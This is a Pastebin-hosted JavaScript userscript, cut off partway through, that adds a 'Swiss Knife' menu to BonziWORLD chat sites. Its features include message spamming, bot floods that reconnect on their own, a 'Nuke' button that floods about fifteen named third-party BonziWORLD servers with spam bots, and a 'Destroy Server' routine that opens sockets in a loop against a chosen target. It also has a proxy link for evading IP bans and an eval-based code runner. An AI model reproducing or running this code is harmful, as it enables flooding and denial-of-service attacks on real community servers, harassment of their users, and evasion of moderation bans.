nonogamer9

my swiss knife for bonziworld servers (CRAZY POWERFUL!!)

Mar 28th, 2025 (edited)
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 39.87 KB | Software | 0 0
  1. /// Detect mobile device
  2. const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  3.  
  4. function sendMsg(msg) {
  5.     let imageCommand = null;
  6.     if (msg.startsWith('/img ')) {
  7.         imageCommand = "img";
  8.         msg = msg.substring(5);
  9.     } else if (msg.startsWith('/image ')) {
  10.         imageCommand = "image";
  11.         msg = msg.substring(7);
  12.     } else if (msg.startsWith('/color ')) {
  13.         imageCommand = "color";
  14.         msg = msg.substring(7);
  15.     } else if (msg.startsWith('/crosscolor ')) {
  16.         imageCommand = "crosscolor";
  17.         msg = msg.substring(12);
  18.     }
  19.     if (imageCommand) {
  20.         setTimeout(() => {
  21.             socket.emit("command", { list: [imageCommand, msg] });
  22.         });
  23.     } else if (msg.startsWith('/name ')) {
  24.         setTimeout(() => {
  25.             socket.emit("command", { list: ["name", msg.substring(6)] });
  26.         });
  27.     } else {
  28.         socket.emit("talk", { text: msg });
  29.     }
  30. }
  31.  
  32. var menu = document.createElement("div");
  33. menu.setAttribute("draggable", isMobile ? "false" : "true");
  34. document.getElementById("content").appendChild(menu);
  35.  
  36. // Set default size and position for mobile/desktop
  37. let menuWidth = isMobile ? "calc(100% - 20px)" : "350px";
  38. let menuHeight = isMobile ? "calc(100% - 20px)" : "800px";
  39. let menuPos = isMobile ? "fixed" : "absolute";
  40. let menuLeft = isMobile ? "10px" : "80%";
  41. let menuTop = isMobile ? "10px" : "20%";
  42. let menuOverflow = isMobile ? "auto" : "auto";
  43. let menuPadding = isMobile ? "15px" : "10px";
  44. let menuCursor = isMobile ? "default" : "move";
  45.  
  46. setTimeout(() => {
  47.     alert("Tool has loaded!");
  48.     menu.style.backgroundColor = "#f0f0f0";
  49.     menu.style.position = menuPos;
  50.     menu.style.left = menuLeft;
  51.     menu.style.top = menuTop;
  52.     menu.style.color = "black";
  53.     menu.style.padding = menuPadding;
  54.     menu.style.cursor = menuCursor;
  55.     menu.style.border = "1px solid #ccc";
  56.     menu.style.width = menuWidth;
  57.     menu.style.height = menuHeight;
  58.     menu.style.overflow = menuOverflow;
  59.     menu.style.boxShadow = "0 4px 8px rgba(0,0,0,0.1)";
  60.     menu.style.borderRadius = "5px";
  61.     menu.style.fontFamily = "Arial, sans-serif";
  62.     menu.style.zIndex = "1000";
  63.     menu.style.display = "block";
  64.     menu.style.boxSizing = "border-box";
  65.     menu.style.maxWidth = "600px";
  66.     menu.style.margin = isMobile ? "0 auto" : "0";
  67.     menu.style.transform = isMobile ? "none" : "none";
  68.  
  69.     // Custom server URL variable
  70.     let customServerUrl = window.location.origin;
  71.     let useBonziworldCompat = false;
  72.     let useBonziGayCompat = false; // NEW: bonzi.gay compatibility flag
  73.     let botsJoinInterval, botsMessageInterval;
  74.  
  75.     // Bigger buttons and inputs for mobile
  76.     const buttonStyle = isMobile ? 'padding:12px 20px;font-size:16px;margin:6px 0;' : 'padding:5px 10px;margin:2px;';
  77.     const inputStyle = isMobile ? 'width:95%;padding:8px;margin:8px 0;font-size:16px;' : 'width:95%;margin:2px;';
  78.     const textareaStyle = isMobile ? 'width:95%;padding:8px;margin:8px 0;font-size:16px;height:80px;' : 'width:95%;margin:2px;height:60px;';
  79.     const sectionStyle = isMobile ? 'margin-bottom:20px;padding:12px;border:1px solid #ddd;border-radius:5px;' : 'margin-bottom:15px;padding:10px;border:1px solid #ddd;border-radius:5px;';
  80.     const flexStyle = isMobile ? 'display:flex;flex-wrap:wrap;gap:6px;justify-content:center;align-items:center;' : 'display:flex;justify-content:space-around;gap:6px;';
  81.  
  82.     // HEADER WITH MINIMIZE BUTTON
  83.     menu.innerHTML = `
  84.         <div id="menuHeader" style="display:flex;justify-content:space-between;align-items:center;position:sticky;top:0;z-index:10;background:#f0f0f0;">
  85.             <h2 style="text-align:center;margin-bottom:15px;flex:1;">nono's Bonziworld Swiss Knife</h2>
  86.            <button id="minimizeMenu" style="font-size:22px;line-height:1;width:36px;height:36px;background:none;border:none;cursor:pointer;">&#8722;</button>
  87.        </div>
  88.        <div style="margin-bottom:15px;text-align:center;">
  89.            <img src="https://files.catbox.moe/f3rzuw.png" alt="Bonziworld" width="100" style="display:block;margin:0 auto;">
  90.        </div>
  91.        <div style="${sectionStyle}">
  92.            <ol style="margin-bottom:10px;">
  93.                <li>Enter messages, image commands, or name changes in the text area below. Separate each item with a comma.</li>
  94.                <li>Text messages: Just type the message.</li>
  95.                <li>Image command: <code>/img [image URL]</code> or <code>/image [image URL]</code></li>
  96.                <li>Name change: <code>/name [new name]</code></li>
  97.                <li>Color command: <code>/color [color URL]</code> or <code>/crosscolor [color URL]</code></li>
  98.                <li>Set spam rate in seconds (can be decimal).</li>
  99.                <li>Click "Run" to start spamming.</li>
  100.                <li>Click "Run Donut" to display an animated donut in chat.</li>
  101.                <li>Use the web browser to load pages and send their content to chat.</li>
  102.            </ol>
  103.            <textarea id='in' placeholder='Enter commands here, separated by commas...' rows='4' style='${textareaStyle}'></textarea><br>
  104.            <div style="${flexStyle}">
  105.                <button id='run' style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Run</button>
  106.                <button id='stop' style='background-color:#f44336;color:white;border:none;${buttonStyle}'>Stop</button>
  107.                <button id='donut' style='background-color:#2196F3;color:white;border:none;${buttonStyle}'>Donut</button>
  108.                <button id='nuke' style='background-color:#000;color:white;border:none;${buttonStyle}'>
  109.                    <img src='https://files.catbox.moe/00gd9s.webp' alt='Nuke' style='width:20px;height:20px;vertical-align:middle;margin-right:5px;'>
  110.                     Nuke
  111.                 </button>
  112.                 <button id='destroyServer' style='background-color:#ff3300;color:white;border:none;${buttonStyle}'>Destroy Server</button>
  113.             </div>
  114.             <div style="margin-top:12px;text-align:center;">
  115.                 <button id="useFreeProxy" style="background-color:#008CBA;color:white;border:none;padding:10px;">Got IP Banned? Click Here! (CroxyProxy)</button>
  116.             </div>
  117.         </div>
  118.         <div style="${sectionStyle}">
  119.             <h4 style="margin-bottom:8px;">Spam Settings</h4>
  120.             Rate of spam (in seconds): <input type='number' id='rate' min='0.01' max='10' step='0.01' value='1' style='${inputStyle}'><br>
  121.             <label><input type="checkbox" id="bonziGayCompat"> Enable bonzi.gay compatibility (sends 3 messages, then a space, repeat)</label>
  122.         </div>
  123.         <div style="${sectionStyle}">
  124.             <h4 style="margin-bottom:8px;">Bot Settings</h4>
  125.             <label for="customServerUrl">Target Server URL:</label>
  126.             <input type="text" id="customServerUrl" placeholder="https://example.com/" value="${window.location.origin}" style="${inputStyle}">
  127.             <button id="setServerUrl" style="background-color:#4CAF50;color:white;border:none;${buttonStyle}">Set URL</button>
  128.             <button id="bonziworldCompat" style="background-color:#673AB7;color:white;border:none;padding:10px;margin-top:10px;width:100%;">Make it compatible with Bonziworld.org / bonzi.lol</button>
  129.             <label for="botName">Bot Name:</label>
  130.             <input type="text" id="botName" value="bot" style="${inputStyle}">
  131.             <label for="botMessage">Bot Message:</label>
  132.             <textarea id="botMessage" rows="2" style="${textareaStyle}">bot message</textarea>
  133.             <label for="joinRate">Set Bot Join Interval (in seconds):</label>
  134.             <input type='number' id='joinRate' min='0.001' step='0.001' value='3' style="${inputStyle}">
  135.             <label for="messageRate">Set Bot Message Interval (in seconds):</label>
  136.             <input type='number' id='messageRate' min='0.001' step='0.001' value='3' style="${inputStyle}">
  137.             <div style="${flexStyle}">
  138.                 <button id="startBots" style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Start Bots</button>
  139.                 <button id="stopBots" style='background-color:#f44336;color:white;border:none;${buttonStyle}'>Stop Bots</button>
  140.             </div>
  141.             <div style="margin-top:15px;padding-top:15px;border-top:1px solid #ccc;">
  142.                 <h4 style="margin-bottom:8px;">Targeted Server Destruction</h4>
  143.                 <label for="targetServerUrl">Server to Destroy:</label>
  144.                 <input type="text" id="targetServerUrl" placeholder="https://target-server.com/" value="" style="${inputStyle}">
  145.                 <div style="${flexStyle}">
  146.                     <button id="destroyTargetedServer" style='background-color:#ff0000;color:white;border:none;${buttonStyle};font-weight:bold;'>
  147.                         <img src='https://files.catbox.moe/00gd9s.webp' alt='Nuke' style='width:16px;height:16px;vertical-align:middle;margin-right:5px;'>
  148.                         Destroy Targeted Server
  149.                     </button>
  150.                 </div>
  151.             </div>
  152.         </div>
  153.         <div style="${sectionStyle}">
  154.             <h4 style="margin-bottom:8px;">Web Browser</h4>
  155.             <button id='webBrowser' style='background-color:#008CBA;color:white;border:none;width:100%;text-align:center;${buttonStyle}'>Toggle Web Browser</button>
  156.             <div id='browserContainer' style='display:none;'>
  157.                 <label for="urlInput">Enter URL:</label>
  158.                 <input type='text' id='urlInput' placeholder='Enter URL' style="${inputStyle}">
  159.                 <div style="${flexStyle}">
  160.                     <button id='loadUrl' style='background-color:#008CBA;color:white;border:none;${buttonStyle}'>Go</button>
  161.                     <button id='sendToChat' style='background-color:#008CBA;color:white;border:none;${buttonStyle}'>Send to Chat</button>
  162.                 </div>
  163.                 <iframe id='browserFrame' style='width:100%;height:300px;border:1px solid #ccc;border-radius:5px;'></iframe>
  164.             </div>
  165.         </div>
  166.         <div style="${sectionStyle}">
  167.             <h4 style="margin-bottom:8px;">Room ID Settings</h4>
  168.             <label><input type="checkbox" id="useCustomRoomId"> Use Custom Room ID</label><br>
  169.             <label for="customRoomId">Custom Room ID:</label>
  170.             <input type="text" id="customRoomId" placeholder="Enter custom Room ID" style="${inputStyle}" disabled>
  171.         </div>
  172.         <div style="${sectionStyle}">
  173.             <h4 style="margin-bottom:8px;">JavaScript Runner</h4>
  174.             <textarea id="jsCode" rows="4" placeholder="Enter JavaScript code here" style="${textareaStyle}"></textarea><br>
  175.             <button id="executeJs" style='background-color:#4CAF50;color:white;border:none;${buttonStyle}'>Execute</button>
  176.             <div id="jsOutput" style="margin-top:10px;padding:10px;background:#f8f8f8;border:1px solid #ddd;border-radius:4px;display:none;font-family:monospace;white-space:pre-wrap;"></div>
  177.         </div>
  178.         ${isMobile ? '' : '<div id="resizeHandle" style="position:absolute;bottom:0;right:0;width:10px;height:10px;background:gray;cursor:se-resize;"></div>'}
  179.     `;
  180.  
  181.     // MINIMIZE BUTTON LOGIC
  182.     let minimized = false;
  183.     const minimizeBtn = document.getElementById("minimizeMenu");
  184.     minimizeBtn.onclick = function() {
  185.         minimized = !minimized;
  186.         Array.from(menu.children).forEach((child, i) => {
  187.             if (i > 0) child.style.display = minimized ? "none" : "";
  188.         });
  189.         menu.style.height = minimized ? "auto" : menuHeight;
  190.         menu.style.overflow = minimized ? "visible" : menuOverflow;
  191.         minimizeBtn.innerHTML = minimized ? "&#43;" : "&#8722;";
  192.     };
  193.  
  194.     // Add CroxyProxy button handler
  195.     document.getElementById("useFreeProxy").onclick = function() {
  196.         const targetUrl = window.location.href;
  197.         window.open('https://www.croxyproxy.com/?url=' + encodeURIComponent(targetUrl), '_blank');
  198.     };
  199.  
  200.     // Custom server URL logic
  201.     document.getElementById("setServerUrl").onclick = function() {
  202.         customServerUrl = document.getElementById("customServerUrl").value || window.location.origin;
  203.         alert("Custom server URL set: " + customServerUrl);
  204.     };
  205.  
  206.     let offsetX = 0, offsetY = 0, isDragging = false;
  207.     let isResizing = false;
  208.     let startX, startY, startWidth, startHeight;
  209.     let spamInterval;
  210.     let destroyServerInterval;
  211.     let destroyTargetedServerInterval; // NEW: interval for targeted destruction
  212.  
  213.     function getRoomId() {
  214.         let roomId;
  215.         const useCustomRoomId = document.getElementById("useCustomRoomId").checked;
  216.         const customRoomId = document.getElementById("customRoomId").value;
  217.         const roomIdElement = document.querySelector('.room_id');
  218.         if (useCustomRoomId && customRoomId) {
  219.             roomId = customRoomId;
  220.         } else if (roomIdElement) {
  221.             roomId = roomIdElement.textContent;
  222.         } else {
  223.             roomId = null;
  224.         }
  225.         return roomId;
  226.     }
  227.  
  228.     // --- BOT LOGIC WITH BONZIWORLD.ORG COMPATIBILITY ---
  229.     function startBots() {
  230.         const roomId = getRoomId() || "default";
  231.         const botName = document.getElementById("botName").value;
  232.         let botMessage = document.getElementById("botMessage").value;
  233.         const joinRate = parseFloat(document.getElementById("joinRate").value) * 1000;
  234.         const messageRate = parseFloat(document.getElementById("messageRate").value) * 1000;
  235.  
  236.         stopBots(); // Prevent duplicates
  237.  
  238.         if (useBonziworldCompat) {
  239.             botsJoinInterval = setInterval(() => {
  240.                 // Use the current page's origin as server URL!
  241.                 const socket = io(window.location.origin);
  242.                 socket.emit("client", "MAIN");
  243.                 socket.emit("login", {
  244.                     passcode: "",
  245.                     name: botName,
  246.                     room: roomId,
  247.                 });
  248.  
  249.                 setTimeout(() => {
  250.                     // Use the required format for speaking
  251.                     socket.emit("talk", { text: botMessage });
  252.                 }, 500);
  253.  
  254.                 setTimeout(() => {
  255.                     socket.connect();
  256.                 }, 2800);
  257.  
  258.             }, joinRate);
  259.         } else {
  260.             botsJoinInterval = setInterval(() => {
  261.                 const bot = io(customServerUrl);
  262.                 bot.emit("client", "MAIN");
  263.                 bot.emit("login", { passcode: "", name: botName, room: roomId });
  264.                 botsMessageInterval = setInterval(() => {
  265.                     let commandType = null;
  266.                     let messageToSend = botMessage;
  267.                     if (botMessage.startsWith('/img ')) {
  268.                         commandType = "img";
  269.                         messageToSend = botMessage.substring(5);
  270.                     } else if (botMessage.startsWith('/image ')) {
  271.                         commandType = "image";
  272.                         messageToSend = botMessage.substring(7);
  273.                     } else if (botMessage.startsWith('/crosscolor ')) {
  274.                         commandType = "crosscolor";
  275.                         messageToSend = botMessage.substring(12);
  276.                     } else if (botMessage.startsWith('/color ')) {
  277.                         commandType = "color";
  278.                         messageToSend = botMessage.substring(7);
  279.                     }
  280.                     if (commandType) {
  281.                         bot.emit("command", { list: [commandType, messageToSend] });
  282.                     } else {
  283.                         bot.emit("talk", { text: messageToSend });
  284.                     }
  285.                 }, messageRate);
  286.                 bot.on('disconnect', () => {
  287.                     startBots();
  288.                 });
  289.             }, joinRate);
  290.         }
  291.     }
  292.  
  293.     function stopBots() {
  294.         clearInterval(botsJoinInterval);
  295.         clearInterval(botsMessageInterval);
  296.     }
  297.  
  298.     document.getElementById("startBots").onclick = startBots;
  299.     document.getElementById("stopBots").onclick = stopBots;
  300.  
  301.     // --- COMPATIBILITY BUTTON LOGIC ---
  302.     document.getElementById("bonziworldCompat").onclick = function () {
  303.         useBonziworldCompat = !useBonziworldCompat;
  304.         if (useBonziworldCompat) {
  305.             document.getElementById("bonziworldCompat").innerText = "Bonziworld.org Compatibility: ON";
  306.             document.getElementById("bonziworldCompat").style.backgroundColor = "#388E3C";
  307.             document.getElementById("customServerUrl").disabled = true;
  308.             document.getElementById("setServerUrl").disabled = true;
  309.         } else {
  310.             document.getElementById("bonziworldCompat").innerText = "Make it compatible with Bonziworld.org / bonzi.lol";
  311.             document.getElementById("bonziworldCompat").style.backgroundColor = "#673AB7";
  312.             document.getElementById("customServerUrl").disabled = false;
  313.             document.getElementById("setServerUrl").disabled = false;
  314.         }
  315.         alert("Bonziworld.org compatibility is now " + (useBonziworldCompat ? "ON" : "OFF"));
  316.     };
  317.  
  318.     // NEW: bonzi.gay compatibility checkbox handler
  319.     document.getElementById("bonziGayCompat").onchange = function() {
  320.         useBonziGayCompat = this.checked;
  321.     };
  322.  
  323.     // FIXED: JavaScript runner execute button
  324.     document.getElementById("executeJs").onclick = () => {
  325.         const jsCode = document.getElementById("jsCode").value;
  326.         const outputDiv = document.getElementById("jsOutput");
  327.        
  328.         if (!jsCode.trim()) {
  329.             outputDiv.style.display = "block";
  330.             outputDiv.innerHTML = "<span style='color:orange'>Warning: No code to execute</span>";
  331.             return;
  332.         }
  333.        
  334.         try {
  335.             // Show output area
  336.             outputDiv.style.display = "block";
  337.             outputDiv.innerHTML = "<span style='color:blue'>Executing JavaScript...</span>";
  338.            
  339.             // Capture console output
  340.             const originalLog = console.log;
  341.             const originalError = console.error;
  342.             const originalWarn = console.warn;
  343.            
  344.             let capturedOutput = [];
  345.            
  346.             console.log = function(...args) {
  347.                 capturedOutput.push("LOG: " + args.map(arg =>
  348.                     typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
  349.                 ).join(' '));
  350.                 originalLog.apply(console, args);
  351.             };
  352.            
  353.             console.error = function(...args) {
  354.                 capturedOutput.push("ERROR: " + args.map(arg =>
  355.                     typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
  356.                 ).join(' '));
  357.                 originalError.apply(console, args);
  358.             };
  359.            
  360.             console.warn = function(...args) {
  361.                 capturedOutput.push("WARN: " + args.map(arg =>
  362.                     typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
  363.                 ).join(' '));
  364.                 originalWarn.apply(console, args);
  365.             };
  366.            
  367.             // Execute the code directly
  368.             const result = eval(jsCode);
  369.            
  370.             // Restore original console methods
  371.             console.log = originalLog;
  372.             console.error = originalError;
  373.             console.warn = originalWarn;
  374.            
  375.             // Display results
  376.             let outputHTML = "<span style='color:green'>✓ JavaScript executed successfully!</span><br><br>";
  377.            
  378.             if (result !== undefined) {
  379.                 outputHTML += "<strong>Return value:</strong><br>";
  380.                 outputHTML += typeof result === 'object' ?
  381.                     JSON.stringify(result, null, 2) :
  382.                     String(result);
  383.                 outputHTML += "<br><br>";
  384.             }
  385.            
  386.             if (capturedOutput.length > 0) {
  387.                 outputHTML += "<strong>Console output:</strong><br>";
  388.                 outputHTML += capturedOutput.join('<br>');
  389.             } else {
  390.                 outputHTML += "<em>No console output</em>";
  391.             }
  392.            
  393.             outputDiv.innerHTML = outputHTML;
  394.            
  395.         } catch (error) {
  396.             // Restore console methods in case of error
  397.             console.log = originalLog;
  398.             console.error = originalError;
  399.             console.warn = originalWarn;
  400.            
  401.             outputDiv.innerHTML = `<span style='color:red'>✗ JavaScript Error:</span><br>${error.message}<br><br><strong>Stack trace:</strong><br>${error.stack || 'No stack trace available'}`;
  402.         }
  403.     };
  404.  
  405.     const useCustomRoomIdCheckbox = document.getElementById("useCustomRoomId");
  406.     const customRoomIdInput = document.getElementById("customRoomId");
  407.     useCustomRoomIdCheckbox.addEventListener("change", function() {
  408.         customRoomIdInput.disabled = !this.checked;
  409.     });
  410.  
  411.     if (!isMobile) {
  412.         menu.addEventListener("mousedown", (e) => {
  413.             if (e.target.id === "resizeHandle") {
  414.                 isResizing = true;
  415.                 startX = e.clientX;
  416.                 startY = e.clientY;
  417.                 startWidth = parseInt(document.defaultView.getComputedStyle(menu).width, 10);
  418.                 startHeight = parseInt(document.defaultView.getComputedStyle(menu).height, 10);
  419.             } else {
  420.                 isDragging = true;
  421.                 offsetX = e.clientX - menu.offsetLeft;
  422.                 offsetY = e.clientY - menu.offsetTop;
  423.             }
  424.             document.addEventListener("mousemove", moveElement);
  425.             document.addEventListener("mouseup", stopMoving);
  426.         });
  427.     }
  428.  
  429.     function moveElement(e) {
  430.         if (isDragging) {
  431.             menu.style.left = (e.clientX - offsetX) + "px";
  432.             menu.style.top = (e.clientY - offsetY) + "px";
  433.         } else if (isResizing) {
  434.             const width = startWidth + (e.clientX - startX);
  435.             const height = startHeight + (e.clientY - startY);
  436.             menu.style.width = width + "px";
  437.             menu.style.height = height + "px";
  438.         }
  439.     }
  440.  
  441.     function stopMoving() {
  442.         isDragging = false;
  443.         isResizing = false;
  444.         document.removeEventListener("mousemove", moveElement);
  445.         document.removeEventListener("mouseup", stopMoving);
  446.     }
  447.  
  448.     // MODIFIED RUN FUNCTION WITH BONZI.GAY COMPATIBILITY
  449.     document.getElementById("run").onclick = () => {
  450.         let inputText = document.getElementById("in").value;
  451.         let commands = inputText.split(',').map(cmd => cmd.trim());
  452.         let rate = parseFloat(document.getElementById("rate").value);
  453.         let interval = Math.max(rate * 1000, 10);
  454.        
  455.         // NEW: Variables for bonzi.gay compatibility
  456.         let messageCounter = 0;
  457.         let spaceInterval = null;
  458.        
  459.         function spamMessage() {
  460.             if (commands.length === 0) return;
  461.            
  462.             // NEW: bonzi.gay compatibility logic
  463.             if (useBonziGayCompat) {
  464.                 messageCounter++;
  465.                
  466.                 // Send message
  467.                 let command = commands[Math.floor(Math.random() * commands.length)];
  468.                 sendMsg(command);
  469.                
  470.                 // After 3 messages, send a space
  471.                 if (messageCounter >= 3) {
  472.                     sendMsg(" ");
  473.                     messageCounter = 0;
  474.                 }
  475.             } else {
  476.                 // Original behavior
  477.                 let command = commands[Math.floor(Math.random() * commands.length)];
  478.                 sendMsg(command);
  479.             }
  480.         }
  481.        
  482.         clearInterval(spamInterval);
  483.         spamInterval = setInterval(spamMessage, interval);
  484.     };
  485.  
  486.     document.getElementById("stop").onclick = () => {
  487.         clearInterval(spamInterval);
  488.     };
  489.  
  490.     document.getElementById("donut").onclick = () => {
  491.         let A = 0, B = 0;
  492.         const R1 = 1, R2 = 2, K2 = 5;
  493.         const SCREEN_WIDTH = 80, SCREEN_HEIGHT = 22;
  494.         const K1 = SCREEN_WIDTH * K2 * 3 / (8 * (R1 + R2));
  495.         function renderFrame() {
  496.             const output = [];
  497.             const zbuffer = new Array(SCREEN_WIDTH * SCREEN_HEIGHT).fill(0);
  498.             const buffer = new Array(SCREEN_WIDTH * SCREEN_HEIGHT).fill(' ');
  499.             for (let j = 0; j < Math.PI * 2; j += Math.PI / SCREEN_WIDTH) {
  500.                 for (let i = 0; i < Math.PI * 2; i += Math.PI / SCREEN_HEIGHT) {
  501.                     const c = Math.sin(i), d = Math.cos(j), e = Math.sin(A), f = Math.sin(j), g = Math.cos(A), h = d + 2;
  502.                     const D = 1 / (c * h * e + f * g + 5);
  503.                     const l = Math.cos(i), m = Math.cos(B), n = Math.sin(B);
  504.                     const t = c * h * g - f * e;
  505.                     const x = Math.floor(40 + 30 * D * (l * h * m - t * n));
  506.                     const y = Math.floor(12 + 15 * D * (l * h * n + t * m));
  507.                     const o = Math.floor(x + SCREEN_WIDTH * y);
  508.                     const N = Math.floor(8 * ((f * e - c * d * g) * m - c * d * e - f * g - l * d * n));
  509.                     if (y < SCREEN_HEIGHT && y >= 0 && x >= 0 && x < SCREEN_WIDTH && D > zbuffer[o]) {
  510.                         zbuffer[o] = D;
  511.                         buffer[o] = ".,-~:;=!*#$@"[N > 0 ? N : 0];
  512.                     }
  513.                 }
  514.             }
  515.             for (let k = 0; k < SCREEN_WIDTH * SCREEN_HEIGHT; k++) {
  516.                 output.push(k % SCREEN_WIDTH ? buffer[k] : '\n');
  517.             }
  518.             sendMsg(output.join(''));
  519.             A += 0.08;
  520.             B += 0.06;
  521.         }
  522.         clearInterval(spamInterval);
  523.         spamInterval = setInterval(renderFrame, 100);
  524.     };
  525.  
  526.     document.getElementById("webBrowser").onclick = () => {
  527.         const container = document.getElementById("browserContainer");
  528.         container.style.display = container.style.display === "none" ? "block" : "none";
  529.     };
  530.  
  531.     document.getElementById("loadUrl").onclick = () => {
  532.         const url = document.getElementById("urlInput").value;
  533.         document.getElementById("browserFrame").src = url;
  534.     };
  535.  
  536.     document.getElementById("sendToChat").onclick = () => {
  537.         const url = document.getElementById("urlInput").value;
  538.         const proxyUrl = `https://api.allorigins.win/raw?url=${encodeURIComponent(url)}`;
  539.         fetch(proxyUrl)
  540.             .then(response => response.text())
  541.             .then(html => {
  542.                 const parser = new DOMParser();
  543.                 const doc = parser.parseFromString(html, 'text/html');
  544.                 const content = doc.body.innerText;
  545.                 const chunks = content.match(/.{1,200}/g) || [];
  546.                 chunks.forEach((chunk, index) => {
  547.                     setTimeout(() => sendMsg(chunk), index * 1000);
  548.                 });
  549.             })
  550.             .catch(error => {
  551.                 sendMsg("Failed to fetch webpage content.");
  552.             });
  553.     };
  554.  
  555.     const nukeSound = new Audio('https://files.catbox.moe/tu1jrh.wav');
  556.     let nukeLogWin = null;
  557.     function logNuke(msg) {
  558.         if (!nukeLogWin || nukeLogWin.closed) {
  559.             nukeLogWin = window.open("", "NukeLog", "width=500,height=600");
  560.             nukeLogWin.document.title = "Nuke Log";
  561.             nukeLogWin.document.body.innerHTML = "<h2 style='font-family:sans-serif'>Nuke Log</h2><div id='log' style='font-family:monospace;white-space:pre-wrap'></div>";
  562.         }
  563.         nukeLogWin.document.getElementById("log").innerHTML += msg + "\n";
  564.         nukeLogWin.focus();
  565.     }
  566.     function randomRoomId() {
  567.         return Math.random().toString(16).substr(2, 16);
  568.     }
  569.     document.getElementById("nuke").onclick = function nukeBots() {
  570.         nukeSound.play();
  571.         logNuke("Nuke started: using hardcoded BonziWORLD servers...");
  572.         const hardcodedUrls = [
  573.             "https://bonziworld-community-edition-5vb6.onrender.com/",
  574.             "https://bonziworldeedition.onrender.com/",
  575.             "https://bonziworld-anony-edition-remastered.onrender.com/",
  576.             "https://bonziworld-enhanced-ea4y.onrender.com/",
  577.             "https://bonziworldga.neocities.org/",
  578.             "https://bonziworld-revived-1.onrender.com/",
  579.             "https://bonziworld.me/",
  580.             "https://bonziworld-community-edition-non-cosmic.onrender.com/",
  581.             "https://bonzl.world/",
  582.             "https://bwrer.onrender.com/",
  583.             "https://bonziworld-revived-server-v9b4.onrender.com/",
  584.             "https://bonziworld-classic-plus-plus-edition-mlcr.onrender.com/",
  585.             "https://bonziworld-community-edition-june-2024.onrender.com/",
  586.             "https://nonogamer9world.onrender.com/",
  587.             "https://bonziworld-6-9-archived-remake.neocities.org/"
  588.         ];
  589.         const currentServer = window.location.origin;
  590.         const currentRoomId = getRoomId() || "main";
  591.         const forcedUrls = [currentServer, "https://bonzi.gay/"];
  592.         let foundUrls = [...new Set([...forcedUrls, ...hardcodedUrls])];
  593.         const commonRoomIds = ["default","50"];
  594.         let inputText = document.getElementById("in").value;
  595.         let commands = inputText.split(',').map(cmd => cmd.trim()).filter(Boolean);
  596.         if (commands.length === 0) {
  597.             logNuke("Please enter at least one command to spam.");
  598.             alert("Please enter at least one command to spam.");
  599.             return;
  600.         }
  601.         const spamRate = Math.max(parseFloat(document.getElementById("rate").value) * 1000, 10);
  602.         foundUrls.forEach(site => {
  603.             let baseRoomIds = (site === currentServer)
  604.                 ? [currentRoomId, ...commonRoomIds]
  605.                 : ["default", ...commonRoomIds];
  606.             let randomRooms = [];
  607.             for (let i = 0; i < 3; i++) randomRooms.push(randomRoomId());
  608.             let roomIds = [...new Set([...baseRoomIds, ...randomRooms])];
  609.             logNuke("Targeting: " + site + " | Rooms: " + roomIds.join(", "));
  610.             roomIds.forEach(roomId => {
  611.                 setInterval(() => {
  612.                     try {
  613.                         const bot = io(site, { transports: ['websocket'], forceNew: true });
  614.                         bot.emit("client", "MAIN");
  615.                         bot.emit("login", { passcode: "", name: "nuke", room: roomId });
  616.                         let cmdIndex = 0;
  617.                         const interval = setInterval(() => {
  618.                             let command = commands[cmdIndex];
  619.                             if (command.startsWith('/img ')) {
  620.                                 bot.emit("command", { list: ["img", command.substring(5)] });
  621.                             } else if (command.startsWith('/image ')) {
  622.                                 bot.emit("command", { list: ["image", command.substring(7)] });
  623.                             } else if (command.startsWith('/color ')) {
  624.                                 bot.emit("command", { list: ["color", command.substring(7)] });
  625.                             } else if (command.startsWith('/crosscolor ')) {
  626.                                 bot.emit("command", { list: ["crosscolor", command.substring(12)] });
  627.                             } else if (command.startsWith('/name ')) {
  628.                                 bot.emit("command", { list: ["name", command.substring(6)] });
  629.                             } else {
  630.                                 bot.emit("talk", { text: command });
  631.                             }
  632.                             cmdIndex = (cmdIndex + 1) % commands.length;
  633.                         }, spamRate);
  634.                         bot.on('disconnect', () => clearInterval(interval));
  635.                     } catch (e) {}
  636.                 }, 1500);
  637.             });
  638.         });
  639.         logNuke("Nuke deployed! Bots will continuously join and spam your input everywhere.");
  640.         alert("Nuke deployed! Bots will continuously join and spam your input everywhere.");
  641.     };
  642.  
  643.     // NEW DESTROY TARGETED SERVER FUNCTION
  644.     document.getElementById("destroyTargetedServer").onclick = function() {
  645.         const targetServerUrl = document.getElementById("targetServerUrl").value;
  646.        
  647.         if (!targetServerUrl) {
  648.             alert("Please enter a target server URL first!");
  649.             return;
  650.         }
  651.        
  652.         if (!targetServerUrl.startsWith('http://') && !targetServerUrl.startsWith('https://')) {
  653.             alert("Please enter a valid URL starting with http:// or https://");
  654.             return;
  655.         }
  656.        
  657.         if (confirm(`WARNING: This will attempt to destroy the server at:\n\n${targetServerUrl}\n\nAre you sure you want to proceed?`)) {
  658.             alert(`Starting targeted destruction of: ${targetServerUrl}`);
  659.            
  660.             // Clear any existing interval
  661.             if (destroyTargetedServerInterval) {
  662.                 clearInterval(destroyTargetedServerInterval);
  663.             }
  664.            
  665.             // Start the destruction
  666.             setTimeout(function(){
  667.                 destroyTargetedServerInterval = setInterval(() => {
  668.                     try {
  669.                         const socket = io(targetServerUrl);
  670.                         const sockett = io(targetServerUrl);
  671.                         sockett.emit("client", "MAIN");
  672.                         socket.emit("client", "MAIN");
  673.                         socket.emit("login", {
  674.                             name: "https://www.roblox.com/games/90615328924675/Maze",
  675.                             room: Math.floor(Math.random() * 100)
  676.                         });
  677.                         socket.emit("login", {
  678.                             name: "https://www.roblox.com/games/90615328924675/Maze"
  679.                         });
  680.                         const innerInterval = setInterval(() => {
  681.                             socket.emit("command", {
  682.                                 list: ["color"]
  683.                             });
  684.                             socket.emit("talk", {
